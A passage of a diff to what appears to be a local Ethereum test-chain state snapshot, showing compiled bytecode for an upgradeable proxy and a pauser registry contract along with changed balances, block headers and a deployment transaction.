"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033", + "code": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033", "storage": { "0x0000000000000000000000000000000000000000000000000000000000000000": "0x0000000000000000000000000000000000000000000000000000000000000001", "0x0000000000000000000000000000000000000000000000000000000000000033": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", @@ -280,7 +280,7 @@ "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512": { "nonce": 1, "balance": "0x0", - "code": "0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea26469706673582212200f9bddaf281b593acba4d40ad0f8076fa9190d1d819fa1d3c292d86b7ab6684564736f6c634300081c0033", + "code": "0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea264697066735822122067fae8bb511d125cec8f8ec05f957b73867dd98e7dd06293a6a42013e1b0f4dd64736f6c634300081b0033", "storage": { "0x0000000000000000000000000000000000000000000000000000000000000001": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", "0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722": "0x0000000000000000000000000000000000000000000000000000000000000001" @@ -288,31 +288,31 @@ }, "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266": { "nonce": 33, - "balance": "0x21e19addca5b8de50bf", + "balance": "0x21e19ba07ef11548858", "code": "0x", "storage": {} } }, - "best_block_number": "0x16", + "best_block_number": "0x1d", "blocks": [ { "header": { - "parentHash": "0x780fd82938c383529d6a0a365c0066f2c5e6857c7da4834f11c2f8477161bcaf", + "parentHash": "0x661f4ea14e783d43bff7d86523c497b7174a2f5deb9fd5c1aef9a731601f1944", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0x95213e8ae677c1eba8cd75c5ec17f9d257fa563db50570e5e3c874b537716e2b", - "transactionsRoot": "0x7f64d28ebb635688fcb09945d9efa50f8e058df1d8806aba928b84f414abb468", + "stateRoot": "0x8d2b7265ac99142716568b5ec47f95d77f71e0a7f1259bcf08d59a44c4930911", + "transactionsRoot": "0x45f952c84503e2c7da97bfba662bf9ce61a2c8f7da541ae3b8ea7165d09485a9", "receiptsRoot": "0x2abfbf241f9fd99bd314dd397107048bfd4461fe7f16f96ad609685bb8001921", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000002000000000000000000000008000000000000000000000000000000000000000000020000000000000000000000000040000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "logsBloom": "0x00000000000000040000000000000000400000000000000000000000000000000000000000000000000400000000080010400000000000000000000000100001001000000000000000000000000002000000000240000000000000000000400000000000000000000000200000000000000080800000000000000000000000040000000008000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000024000000000000000000001000000000000420000000000001000000000000000000000000000000000000000000000001000004801100000000000000", "difficulty": "0x0", - "number": "0x6", + "number": "0x7", "gasLimit": "0x1c9c380", "gasUsed": "0x8bf2e", - "timestamp": "0x67212bff", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0x1fd75f12", + "baseFeePerGas": "0x1bdcfaf8", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -323,17 +323,17 @@ "transaction": { "EIP1559": { "chainId": "0x7a69", - "nonce": "0x9", - "gas": "0xb5dcb", + "nonce": "0x1", + "gas": "0x6b49c", "maxFeePerGas": "0x77359401", "maxPriorityFeePerGas": "0x1", "value": "0x0", "accessList": [], - "input": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", - "r": "0x75f92751ed3d7537b5de53e3c0299383ac72b76e4a275e0fe031fa88fde7cf4e", - "s": "0x180b7ca9908cf48e1fcdfe0f76c20ef957de20eb35a2faf607e1430875f5370a", + "input": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", + "r": "0x6078ac08b2fbdeecbfaa37da231c30bb59d27175a62c4ca4819106e034e9e1e8", + "s": "0x7101f37f74145572388cac2a722c96c483cd70271a957401ae1f4d98896e97ea", "yParity": "0x1", - "hash": "0xece0fbed8cbdcfe3cf8a43c932bc41f5a9fe7f2dde7ab7cf4e99dc08ea3468f1" + "hash": "0xd91377a31c7b159e9ef1ce73a538e458ee8d91ab394309cfa6efd3b8bbd6f23a" } }, "impersonated_sender": null @@ -343,22 +343,22 @@ }, { "header": { - "parentHash": "0x01830e263c3ff88b576e3efa74f18ca4b0864595494c15dab977d28aaf894e48", + "parentHash": "0xa132fcf5a411dbb73abfc284990a3cc8254d584c240d307c839519a9006fea1e", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0xb9e640c54a71149c9da49054c834cf7c0a004226a7d149d3abe3da958b088c4e", - "transactionsRoot": "0xbf4b8ae64dc8ade25fe2f9bac39b247732a1911c6a8f037cdb6061229dae5a8d", - "receiptsRoot": "0xce2d4d353c880356c482491b31c44876645a43d9137b3b189db3fcac0e89dce5", + "stateRoot": "0xfc41f4a06e766fb115effdb74a526f61928b5240e57fac46788e302e8ac6afb2", + "transactionsRoot": "0x6db1fb1e8906928ef55cf1bf75b2a7a25558da27dc799e3f3b28722c42b0b7ea", + "receiptsRoot": 